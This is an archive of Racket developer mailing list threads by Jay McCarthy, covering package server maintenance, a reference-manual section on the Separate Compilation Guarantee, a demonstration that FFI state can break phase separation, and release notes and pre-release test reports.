http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


[racket-dev] pkgd.racket-lang.org going down for maintenance

2014-06-16 Thread Jay McCarthy
The dynamic portion of the package server will be going down for
maintenance as it is moved to EC2. The static portion will be fine
though.

These services will not be available:
- Adding packages to the catalog server
- Updating checksums on the catalog server
- Editing tags or metadata about packages

These services will be available:
- Browsing the package server via the Web interface
- Using raco pkg (etc) to install and query package information

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] pkgd.racket-lang.org going down for maintenance

2014-06-16 Thread Jay McCarthy
The transition just completed and I've confirmed that it works from a
few networks in Utah. It may take a while for DNS to update for you;
if things are broken tomorrow, please let me know and we'll try to
trouble-shoot.

Jay

On Mon, Jun 16, 2014 at 2:55 PM, Jay McCarthy jay.mccar...@gmail.com wrote:
 The dynamic portion of the package server will be going down for
 maintenance as it is moved to EC2. The static portion will be fine
 though.

 These services will not be available:
 - Adding packages to the catalog server
 - Updating checksums on the catalog server
 - Editing tags or metadata about packages

 These services will be available:
 - Browsing the package server via the Web interface
 - Using raco pkg (etc) to install and query package information

 Jay

 --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://jeapostrophe.github.io

Wherefore, be not weary in well-doing,
   for ye are laying the foundation of a great work.
 And out of small things proceedeth that which is great.
   - DC 64:33



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #28781: master branch updated

2014-05-23 Thread Jay McCarthy

 On May 23, 2014, at 3:59 PM, Greg Hendershott greghendersh...@gmail.com 
 wrote:
 
 Feedback from a relatively naive Racket user:
 
 1.
 
 +External effects are exemplified by input/output (or I/O). I/O is the
 +action of a function such as @racket[tcp-connect], which communicates
 +with the operating system to send network packets outside of the
 +machine running Racket via the electromagnetic spectrum.
 
 It might be OK to omit via the electromagnetic spectrum. Yes I'm
 aware of RFC 1149. But still.  :)
 

Yes, maybe it's too cute. I really wanted to emphasize its irreversibility. 


 
 2.
 
 +In particular, if module A is shared by the phase 1 portion of modules
 +X and Y, then any internal effects while X is compiled are not visible
 +during the compilation of Y, regardless of whether X and Y are
 +compiled during the same Racket runtime system.
 
 Was system supposed to be session?
 

No. Each time you start Racket you get a NEW rts. 

 
 3. The practical example goes some way toward explaining why this
 matters. But only part way (for me). Probably some real-life situation
 motivated this. Knowing that backstory might help. (If you think that
 tale doesn't fit and/or belong in the reference docs, maybe it would
 make a great blog post?)

Yes. One of Matthew's papers has some good examples. 

Jay
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #28781: master branch updated

2014-05-21 Thread Jay McCarthy
Can you take a look at this section (and its placement) for
correctness and explanatory value? [Matthew and I talked about adding
this at the end of April and I just got around to it.]

Jay

On Wed, May 21, 2014 at 10:14 AM,  j...@racket-lang.org wrote:
 jay has updated `master' from dd0f0b6141 to aaa892646a.
   http://git.racket-lang.org/plt/dd0f0b6141..aaa892646a

 =[ One Commit ]=
 Directory summary:
  100.0% pkgs/racket-pkgs/racket-doc/scribblings/reference/

 ~~

 aaa8926 Jay McCarthy j...@racket-lang.org 2014-05-21 10:14
 :
 | Add section on separate compilation to reference
 :
   M .../scribblings/reference/eval-model.scrbl| 140 
 +++

 =[ Overall Diff ]===

 pkgs/racket-pkgs/racket-doc/scribblings/reference/eval-model.scrbl
 ~~
 --- OLD/pkgs/racket-pkgs/racket-doc/scribblings/reference/eval-model.scrbl
 +++ NEW/pkgs/racket-pkgs/racket-doc/scribblings/reference/eval-model.scrbl
 @@ -599,6 +599,146 @@ top-level variables in higher @tech{phases}, while 
 module
  top-levels are in corresponding higher @tech{phase}s.

  @;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 +@subsection[#:tag separate-compilation]{The Separate Compilation Guarantee}
 +
 +When a module is compiled, its @tech{phase} 1 is instantiated. This
 +can, in turn, trigger the transitive instantiation of many other
 +modules at other phases, including phase 1. Racket provides a very
 +strong guarantee about this instantiation called The Separate
 +Compilation Guarantee:
 +
 +Any @tech{effects} of the instantiation of the module's phase 1 due
 +to compilation on the Racket runtime system are @tech{discarded}.
 +
 +The guarantee concerns @deftech{effects}. There are two different
 +kinds of effects: internal and external.
 +
 +Internal effects are exemplified by mutation.  Mutation is the action
 +of a function such as @racket[set-box!], which changes the value
 +contained in the box. The modified box is not observable outside of
 +Racket, so the effect is said to be internal. By definition,
 +internal effects is not detectable outside of the Racket program.
 +
 +External effects are exemplified by input/output (or I/O). I/O is the
 +action of a function such as @racket[tcp-connect], which communicates
 +with the operating system to send network packets outside of the
 +machine running Racket via the electromagnetic spectrum. The
 +transmission of these packets is observable outside of Racket, in
 +particular by the receiver computer or any routers in
 +between. External effects exist to be detectable outside of the Racket
 +program and are often detectable using physical processes.
 +
 +An effect is @deftech{discarded} when it is no longer detectable. For
 +instance, a mutation of a box from @racket[3] to @racket[4] would be
 +discarded if it ceases to be detectable that it was ever changed, and
 +thus would still contain @racket[3]. Because external effects are
 +intrinsically observable outside of Racket, they cannot be discarded,
 +because Racket lacks a time-reversal mechanism.
 +
 +Thus, The Separate Compilation Guarantee only concerns effects like
 +mutation, because they are exclusively effects on the Racket runtime
 +system and not on the physical universe.
 +
 +There are many things a Racket program can do that appear to be
 +internal effects, but are actually external effects. For instance,
 +@racket[bytes-set!] is typically an internal effect, except when the
 +bytes were created by @racket[make-shared-bytes] which is allocated in
 +space observable by other processes. Thus, effects which modify them
 +are not discardable, so @racket[bytes-set!], in this case, is an
 +external effect.
 +
 +The opposite is also true: some things which appear to be external are
 +actually internal. For instance, if a Racket program starts multiple
 +threads and uses mutation to communicate between them, that mutation
 +is purely internal, because Racket's threads are defined entirely
 +internally.
 +
 +Furthermore, whenever a Racket program calls an @tech{unsafe}
 +function, the Racket runtime system makes no promises about its
 +effects. For instance, all foreign calls use
 +@racketmodname[ffi/unsafe], so all foreign calls are unsafe and their
 +effects cannot be discarded by Racket.
 +
 +Finally, The Separate Compilation Guarantee only concerns
 +instantiations at phase 1 during compilation and not all phase 1
 +instantiations generally, such as when its phase 1 is required and
 +used for effects via reflective mechanisms.
 +
 +The practical consequence of this guarantee is that because effects
 +are never visible, no module can detect whether a module it
 +@racket[require]s is already compiled. Thus, it can never change the
 +compilation of one module to have already compiled a different module.
 +In particular

[racket-dev] Separate Compilation Vulnerable to FFI... what to do?

2014-04-29 Thread Jay McCarthy
If you look at this directory:

https://github.com/jeapostrophe/exp/tree/master/fffhase-attack

There's a short attack on the promise that different instantiations
of the same module across phases don't share a store.

Running without compiled version
rm -fr compiled
racket -t phase0.rkt --
static: unsafe-global was 0
static: safe-global was 0
dynamic: unsafe-global is 1
dynamic: safe-global is 0

Running with compiled version
raco make phase0.rkt
racket -t phase0.rkt --
static: unsafe-global was 0
static: safe-global was 0
dynamic: unsafe-global is 0
dynamic: safe-global is 0

Should we consider this fine because the effect is external (just
like touching a file) or should there be a generalization of the
racket/gui/base rule that the module can't be instantiated multiple
times?

A bit of a grep doesn't lead to any easy place where that is
implemented it seems like that feature can only be implemented
with a restricted form of the attack itself, so you can observe that
the instantiation already happened.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] actionable items, was: comments on comments on learning Racket

2014-04-28 Thread Jay McCarthy
They could even be different variations of DrRacket...

drpyret.rkt:
#lang drracket/template
#lang pyret

and bam! New DrRacket binary.


On Mon, Apr 28, 2014 at 8:59 AM, Stephen Chang stch...@ccs.neu.edu wrote:
 You could have different distributions also, with the appropriate default. 
 Tell students to get the picturing programs drracket or the Pyret 
 drracket, etc etc.

 This seems like the way to go. There won't be one optimal solution for
 Racket's wide spectrum of users.

 There wouldn't even need to be different distributions, just different
 installers right? Could an installer set the default language in the
 prefs file?




 Students who have a hard time finding choose a language will also have 
 decision confusion if given a big dialog of find your class's preference in 
 the haystack.
 -Ian
 - Original Message -
 From: Sam Tobin-Hochstadt sa...@cs.indiana.edu
 To: Matthias Felleisen matth...@ccs.neu.edu
 Cc: dev@racket-lang.org Dev dev@racket-lang.org
 Sent: Monday, April 28, 2014 10:40:37 AM GMT -05:00 US/Canada Eastern
 Subject: Re: [racket-dev] actionable items, was: comments on comments on 
 learning Racket

 On Mon, Apr 28, 2014 at 9:47 AM, Matthias Felleisen
 matth...@ccs.neu.edu wrote:

  when drracket starts w/o a preference file, we pop up a radio menu:

  o Are you a student learning to program?
  o Are you an experienced programmer learning to use Racket?

  Depending on which bullet the person checks, drracket starts in
  BSL [#lang htdp/bsl, one day soon] or #lang racket.

 Another problem with this approach is that BSL is not the right choice
 for many people in the first category.  They might be starting using
 DMDA, or Picturing Programs, or working on their own with SICP. In all
 of these cases, the language dialog needs to appear.

 Sam
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] actionable items, was: comments on comments on learning Racket

2014-04-28 Thread Jay McCarthy
Of course, the big problem with different versions is that the error
message may be even worse because it won't say Go choose the Racket
language, since the teaching distribution may not even have that
included.

On Mon, Apr 28, 2014 at 9:04 AM, Jay McCarthy jay.mccar...@gmail.com wrote:
 They could even be different variations of DrRacket...

 drpyret.rkt:
 #lang drracket/template
 #lang pyret

 and bam! New DrRacket binary.


 On Mon, Apr 28, 2014 at 8:59 AM, Stephen Chang stch...@ccs.neu.edu wrote:
 You could have different distributions also, with the appropriate default. 
 Tell students to get the picturing programs drracket or the Pyret 
 drracket, etc etc.

 This seems like the way to go. There won't be one optimal solution for
 Racket's wide spectrum of users.

 There wouldn't even need to be different distributions, just different
 installers right? Could an installer set the default language in the
 prefs file?




 Students who have a hard time finding choose a language will also have 
 decision confusion if given a big dialog of find your class's preference 
 in the haystack.
 -Ian
 - Original Message -
 From: Sam Tobin-Hochstadt sa...@cs.indiana.edu
 To: Matthias Felleisen matth...@ccs.neu.edu
 Cc: dev@racket-lang.org Dev dev@racket-lang.org
 Sent: Monday, April 28, 2014 10:40:37 AM GMT -05:00 US/Canada Eastern
 Subject: Re: [racket-dev] actionable items, was: comments on comments on 
 learning Racket

 On Mon, Apr 28, 2014 at 9:47 AM, Matthias Felleisen
 matth...@ccs.neu.edu wrote:

  when drracket starts w/o a preference file, we pop up a radio menu:

  o Are you a student learning to program?
  o Are you an experienced programmer learning to use Racket?

  Depending on which bullet the person checks, drracket starts in
  BSL [#lang htdp/bsl, one day soon] or #lang racket.

 Another problem with this approach is that BSL is not the right choice
 for many people in the first category.  They might be starting using
 DMDA, or Picturing Programs, or working on their own with SICP. In all
 of these cases, the language dialog needs to appear.

 Sam
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



 --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://faculty.cs.byu.edu/~jay

 The glory of God is Intelligence - DC 93



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Pre-Release Checklist for v6.0.1

2014-04-18 Thread Jay McCarthy
On Thu, Apr 17, 2014 at 4:44 PM, Ryan Culpepper ry...@ccs.neu.edu wrote:
 * Jay McCarthy jay.mccar...@gmail.com
   - Web Server Tests
   - XML Tests
   - HTML Tests
   - PLAI Tests
   - Racklog tests
   - Datalog tests

All passed

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] DrDr hung?

2014-04-05 Thread Jay McCarthy
I kicked it. (I check every two nights, btw, and if you notice
something, you can email me directly.)

On Fri, Apr 4, 2014 at 10:51 PM, Eric Dobson eric.n.dob...@gmail.com wrote:
 DrDr seems to be behind by about 8 pushes (in terms of what it is
 showing in the UI) currently and is stuck running on push 28468 for 36
 hours.
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Can't log in to pkg.racket-lang.org

2014-01-27 Thread Jay McCarthy
I believe the problem is that our certificate expired on the 24th and
most browsers will treat it as broken and not show anything because
it's an AJAX request. I'll send out an announcement when the cert is
fixed.

Jay

On Mon, Jan 27, 2014 at 7:54 AM, Greg Hendershott
greghendersh...@gmail.com wrote:
 I've put in my email and password, but clicking Log In does nothing.
 Neither does pressing enter.  Anyone else seeing this behavior, or know what
 the problem is?

 Same here.
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] DrRacket + ZeroMQ

2013-12-31 Thread Jay McCarthy
Sorry Francisco, I have no idea why DrRacket would cause problems. One
idea is that it is actually bad interoperability between the Windows
GUI toolkit and ZeroMQ. One way to test that would be to use the
command line, but require racket/gui and create a single frame like in
the GUI introduction:

http://docs.racket-lang.org/gui/windowing-overview.html

And see if the same problem happens.

Jay

On Thu, Dec 26, 2013 at 5:58 AM, Francisco Freire
francisco.fre...@ist.utl.pt wrote:
 Hi Guys,

 I was trying to use ZeroMQ with DrRacket since it is an interesting solution
 for a project I have.

 Unfortunately, I did not have success doing this. I used the zeromq Planet
 Package (providing ZeroMQ binding). I also have DrRacket 5.3.6 installed in
 a Windows 7 32 bit machine.

 I only tried some examples from
 https://github.com/imatix/zguide/tree/master/examples/Racket but DrRacket
 crashes when running anyone which does not happen using Racket via command
 line. I already disabled the debugger as suggested by Jay McCarthy but this
 didn't solve the problem. Can anyone help me?

 Happy Holidays,

 Francisco Freire


 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] release notes

2013-12-20 Thread Jay McCarthy
On Fri, Dec 20, 2013 at 6:43 AM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 On Fri, Dec 20, 2013 at 8:26 AM, Matthew Flatt mfl...@cs.utah.edu wrote:

 At Thu, 19 Dec 2013 20:41:25 -0600, Robby Findler wrote:
 Jay, Matthew: pkg improvements
 [...]
 Matthew, Robby: gui package manager

 Racket has a new package system and a catalog of packages at

  http://pkgs.racket-lang.org/

 What's the difference between `pkgs` and `pkg` as domains here?

pkg. is the old one hosted at BYU. pkgs. is the new one hosted at S3
that the documentation exclusively should link to. pkg. still works
fine because it redirects to S3, but if BYU were down then the
redirect wouldn't happen.

Jay

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] release notes

2013-12-20 Thread Jay McCarthy
On Thu, Dec 19, 2013 at 7:41 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 Jay, Jan Dvořák: formlet improvements

* web-server/formlets supports generic input formlets and strings on
all formlet default values.

 Jay: Host and Content-Length headers in http-client.rkt:
 (dc8f52dbb1e3ca48622629a76000b5fea021697d)

I think this is an error fix.

 Jay: get/set-pixel in bitmap-dc% now respects alpha
 (551e536f3e7841b6ee7911da560f11b70a227292)

I believe this is an error fix.

 Jay: plai gc2 improvements

I think this was just an error. We could say * plai/gc2 supports
moving collectors, but it was supposed to before.

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] release notes

2013-12-20 Thread Jay McCarthy
On Fri, Dec 20, 2013 at 2:17 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 I understand that one can reasonably view these as bug fixes. Nevertheless,
 they affect observable behavior of the functions in a way that could
 possibly break others code (as opposed to more obvious bug fixes that are
 likely to only affect others' code by fixing problems with it).

 So these should be explicitly mentioned in a HISTORY file somewhere so that
 someone who upgrades from, say, 5.3.2 to 6.2 can figure out which version
 made this change that's causing them problems.

In that case...


 On Fri, Dec 20, 2013 at 3:14 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 On Thu, Dec 19, 2013 at 7:41 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
  Jay, Jan Dvořák: formlet improvements

 * web-server/formlets supports generic input formlets and strings on
 all formlet default values.

  Jay: Host and Content-Length headers in http-client.rkt:
  (dc8f52dbb1e3ca48622629a76000b5fea021697d)

 I think this is an error fix.

* net/url will add Host: and Content-Length: headers to HTTP requests
iff those headers are not already included. This increases
compatibility with many servers.

  Jay: get/set-pixel in bitmap-dc% now respects alpha
  (551e536f3e7841b6ee7911da560f11b70a227292)

 I believe this is an error fix.

* bitmap-dc% pixel operations now respect alpha bits, rather than
silently ignoring them.

  Jay: plai gc2 improvements

 I think this was just an error. We could say * plai/gc2 supports
 moving collectors, but it was supposed to before.

 --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://faculty.cs.byu.edu/~jay

 The glory of God is Intelligence - DC 93





-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] release notes

2013-12-20 Thread Jay McCarthy
Ah. I think you should do it :)

On Fri, Dec 20, 2013 at 2:36 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 I mean that I think these comments should go into a HISTORY.txt file
 somewhere. Shall I put them in one, or do you mind doing it?

 Robby


 On Fri, Dec 20, 2013 at 3:31 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 On Fri, Dec 20, 2013 at 2:17 PM, Robby Findler
 ro...@eecs.northwestern.edu wrote:
  I understand that one can reasonably view these as bug fixes.
  Nevertheless,
  they affect observable behavior of the functions in a way that could
  possibly break others code (as opposed to more obvious bug fixes that
  are
  likely to only affect others' code by fixing problems with it).
 
  So these should be explicitly mentioned in a HISTORY file somewhere so
  that
  someone who upgrades from, say, 5.3.2 to 6.2 can figure out which
  version
  made this change that's causing them problems.

 In that case...

 
  On Fri, Dec 20, 2013 at 3:14 PM, Jay McCarthy jay.mccar...@gmail.com
  wrote:
 
  On Thu, Dec 19, 2013 at 7:41 PM, Robby Findler
  ro...@eecs.northwestern.edu wrote:
   Jay, Jan Dvořák: formlet improvements
 
  * web-server/formlets supports generic input formlets and strings on
  all formlet default values.
 
   Jay: Host and Content-Length headers in http-client.rkt:
   (dc8f52dbb1e3ca48622629a76000b5fea021697d)
 
  I think this is an error fix.

 * net/url will add Host: and Content-Length: headers to HTTP requests
 iff those headers are not already included. This increases
 compatibility with many servers.

   Jay: get/set-pixel in bitmap-dc% now respects alpha
   (551e536f3e7841b6ee7911da560f11b70a227292)
 
  I believe this is an error fix.

 * bitmap-dc% pixel operations now respect alpha bits, rather than
 silently ignoring them.

   Jay: plai gc2 improvements
 
  I think this was just an error. We could say * plai/gc2 supports
  moving collectors, but it was supposed to before.
 
  --
  Jay McCarthy j...@cs.byu.edu
  Assistant Professor / Brigham Young University
  http://faculty.cs.byu.edu/~jay
 
  The glory of God is Intelligence - DC 93
 
 



 --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://faculty.cs.byu.edu/~jay

 The glory of God is Intelligence - DC 93





-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93

_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #27967: master branch updated

2013-12-20 Thread Jay McCarthy
Where should we put the link to Planet?

- Main page
- New place
- Community
- Keep it on the navbar with packages

I can see good and bad things with most.

On Fri, Dec 20, 2013 at 4:32 PM,  j...@racket-lang.org wrote:
 jay has updated `master' from 438942c059 to 9012f7b3d6.
   http://git.racket-lang.org/plt/438942c059..9012f7b3d6

 =[ 5 Commits ]==
 Directory summary:
   85.5% pkgs/plt-services/meta/pkg-index/official/static/
7.0% pkgs/plt-services/meta/web/stubs/
3.8% pkgs/
3.5% racket/collects/pkg/

 ~~

 abc8b30 Jay McCarthy j...@racket-lang.org 2013-12-20 15:40
 :
 | Fix typo on pkg site
 :
   M pkgs/plt-services/meta/pkg-index/official/static/index.html | 2 +-

 ~~

 6c4650e Jay McCarthy j...@racket-lang.org 2013-12-20 15:47
 :
 | Remove secret information from pkg error messages
 :
   M racket/collects/pkg/util.rkt | 4 +++-

 ~~

 7faab4d Jay McCarthy j...@racket-lang.org 2013-12-20 15:53
 :
 | Fix PR14216
 :
   M racket/collects/pkg/lib.rkt | 5 +++--

 ~~

 490e21f Jay McCarthy j...@racket-lang.org 2013-12-20 16:20
 :
 | Use Racket navbar on pkgs. and have navbar link to pkgs.
 |
 | Open question: Where does link to Planet go? Sam's new design has a natural 
 place, but on the old site... it's not clear, community?
 :
   M .../meta/pkg-index/official/static/index.html |  2 +
   M .../meta/pkg-index/official/static/style.css  | 49 
 
   M pkgs/plt-services/meta/web/all.rkt|  2 +-
   C pkgs/plt-services/meta/{web/common = pkg-index/official/static}/logo.png 
 (100%)
   M pkgs/plt-services/meta/web/config.rkt |  1 +
   M pkgs/plt-services/meta/web/stubs/all.rkt  |  5 +-
   C pkgs/plt-services/meta/web/stubs/{planet.rkt = packages.rkt} (75%)

 ~~

 9012f7b Jay McCarthy j...@racket-lang.org 2013-12-20 16:29
 :
 | Adding suggestion about 1.0 package versions
 :
   M .../racket-doc/pkg/scribblings/getting-started.scrbl | 5 -

 =[ Overall Diff ]===

 pkgs/plt-services/meta/pkg-index/official/static/index.html
 ~~~
 --- OLD/pkgs/plt-services/meta/pkg-index/official/static/index.html
 +++ NEW/pkgs/plt-services/meta/pkg-index/official/static/index.html
 @@ -10,6 +10,8 @@
  link rel=stylesheet href=/style.css
/head
body
 +div class=racketnavdiv class=navcontenttable border=0 
 cellpadding=0 cellspacing=0 width=100%tbodytrtda 
 href=http://racket-lang.org/;span class=navtitle style=font-size: 
 100px; vertical-align: middle;(/spanspan class=navtitle 
 style=font-size: 80px; vertical-align: middle;(/spanspan 
 class=navtitle style=font-size: 60px; vertical-align: 
 middle;(/spanspan class=navtitle style=font-size: 40px; 
 vertical-align: middle;nbsp;/spanimg alt=[logo] src=/logo.png 
 style=vertical-align: middle; margin: 13px 0.25em 0 0; border: 0;span 
 class=navtitle style=font-size: 80px; vertical-align: 
 middle;Racket/spanspan class=navtitle style=font-size: 40px; 
 vertical-align: middle;nbsp;/spanspan class=navtitle 
 style=font-size: 60px; vertical-align: middle;)/spanspan 
 class=navtitle style=font-size: 80px; vertical-align: 
 middle;)/spanspan class=navtitle style=font-size: 100px; 
 vertical-align: m!
 id!
  dle;)/span/a/tdtd class=helpiconcellspan class=helpicona 
 href=http://racket-lang.org/help.html;Need 
 Help?/a/span/td/trtrtd colspan=2table 
 width=100%tbodytrtd class=navlinkcellspan class=navitemspan 
 class=navlinka 
 href=http://racket-lang.org/;About/a/span/span/tdtd 
 class=navlinkcellspan class=navitemspan class=navlinka 
 href=http://racket-lang.org/download/;Download/a/span/span/tdtd 
 class=navlinkcellspan class=navitemspan class=navlinka 
 href=http://docs.racket-lang.org/;Documentation/a/span/span/tdtd 
 class=navlinkcellspan class=navitemspan class=navcurlinka 
 href=/Packages/a/span/span/tdtd class=navlinkcellspan 
 class=navitemspan class=navlinka 
 href=http://racket-lang.org/community.html;Community/a/span/span/tdtd
  class=navlinkcellspan class=navitemspan class=navlinka 
 href=http://racket-lang.org/learning.html!
 !
  Learning/a/span/span/td/tr/tbody/table/td/tr!
  /tbody/table/div/div
 +
  div class=breadcrumb
spana href=/Packages/a/span
span id=logout/span
 @@ -55,7 +57,7 @@
  trtdDescription:/tdtdspan 
 id=pi_description/span/td/tr
  trtdTags:/tdtdspan id=pi_tags/span/td/tr
  tr id=pi_add_tag_rowtd/tdtdinput type=text 
 id=pi_add_tag_text class=text ui-widget-content ui-corner-all /button 
 id=pi_add_tag_buttonAdd Tag/button/td/tr
 -tr id=pi_versions_rowtdVersions Exceptions/tdtdtable 
 id=pi_versions/table/td/tr
 +tr id=pi_versions_rowtdVersion Exceptions/tdtdtable 
 id=pi_versions/table/td/tr
  tr id=pi_add_version_rowtd/tdtdlabelVersion:/label 
 input type=text id=pi_add_version_text class=text

Re: [racket-dev] Pre-Release Checklist for v6.0, corrected url

2013-12-17 Thread Jay McCarthy
I don't understand what's happening. I install to ./racket-5.91 and I
go in to the directory and do:

bin/racket -t share/pkgs/web-server-test/tests/web-server/run-all-tests.rkt

and get the same error messages as DrDr. The stack traces all make
mention of the racket-5.91 directory, so I'm pretty sure it is not
getting my main installation.

Jay


On Mon, Dec 16, 2013 at 1:38 PM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 Are you running with the right version? The contract change isn't in the
 release build.

 Robby


 On Mon, Dec 16, 2013 at 2:23 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:

 On Mon, Dec 16, 2013 at 9:38 AM, Ryan Culpepper ry...@ccs.neu.edu wrote:
  * Jay McCarthy jay.mccar...@gmail.com
- Web Server Tests

 These don't pass and have the same error that's here:


 http://drdr.racket-lang.org/27931/pkgs/web-server-pkgs/web-server-test/tests/web-server/run-all-tests.rkt

 I don't know what the error means, I think it is fall-out from the
 contract change?

- XML Tests

 Passed

- HTML Tests

 The html tests aren't in the racket test bundle

- PLAI Tests
- Racklog tests
- Datalog tests

 All pass

 --
 Jay McCarthy j...@cs.byu.edu
 Assistant Professor / Brigham Young University
 http://faculty.cs.byu.edu/~jay

 The glory of God is Intelligence - DC 93
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev





-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Pre-Release Checklist for v6.0, corrected url

2013-12-16 Thread Jay McCarthy
On Mon, Dec 16, 2013 at 9:38 AM, Ryan Culpepper ry...@ccs.neu.edu wrote:
 * Jay McCarthy jay.mccar...@gmail.com
   - Web Server Tests

These don't pass and have the same error that's here:

http://drdr.racket-lang.org/27931/pkgs/web-server-pkgs/web-server-test/tests/web-server/run-all-tests.rkt

I don't know what the error means, I think it is fall-out from the
contract change?

   - XML Tests

Passed

   - HTML Tests

The html tests aren't in the racket test bundle

   - PLAI Tests
   - Racklog tests
   - Datalog tests

All pass

-- 
Jay McCarthy j...@cs.byu.edu
Assistant Professor / Brigham Young University
http://faculty.cs.byu.edu/~jay

The glory of God is Intelligence - DC 93
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #27862: master branch updated

2013-11-28 Thread Jay McCarthy
And similarly, the package system is a social curation system to
monitor packages for good behavior, which planet does do (but could
have and could now.)

Jay

On Thu, Nov 28, 2013 at 7:56 AM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 In short yes. But that short answer isn't where we should stop. :) Really,
 this is about a design decision that's different between planet and the
 package system: in planet, running a program was sufficient for installing
 packages. In the package system you have to take an explicit step to
 install the package.

 I used quotes there because the devil is a bit in the details here (as Jay
 points out with his some macro tricks comment) but really what we're
 talking about is that design difference and UX issues. Overall, I feel like
 the package system's different design decisions are the right way to go but
 that we should keep planet being planet (and Jay and I had a discussion
 about that offline), which is why he reverted one of those commits.

 And to clear up the check syntax thing: there is no way that online check
 syntax could have installed a planet package (or, for that matter, made any
 changes to your file system). You would have had to Run the program or
 explicitly ask for it to be compiled or something like that.

 Make more sense?

 Robby


 On Thu, Nov 28, 2013 at 8:44 AM, Matthias Felleisen matth...@ccs.neu.edu
 wrote:


 Am I naive or isn't any download of any package opening the door to such
 tricks?


 On Nov 27, 2013, at 8:46 PM, Jay McCarthy wrote:

  On Wed, Nov 27, 2013 at 6:27 PM, Robby Findler
  ro...@eecs.northwestern.edu wrote:
 
 
 
  On Wed, Nov 27, 2013 at 7:21 PM, Jay McCarthy j...@racket-lang.org
  wrote:
 
  If I have background expansion on, then when I open that file it
  installs the package.
 
 
  As I wrote in my previous message, it doesn't do that for me. And I
  don't
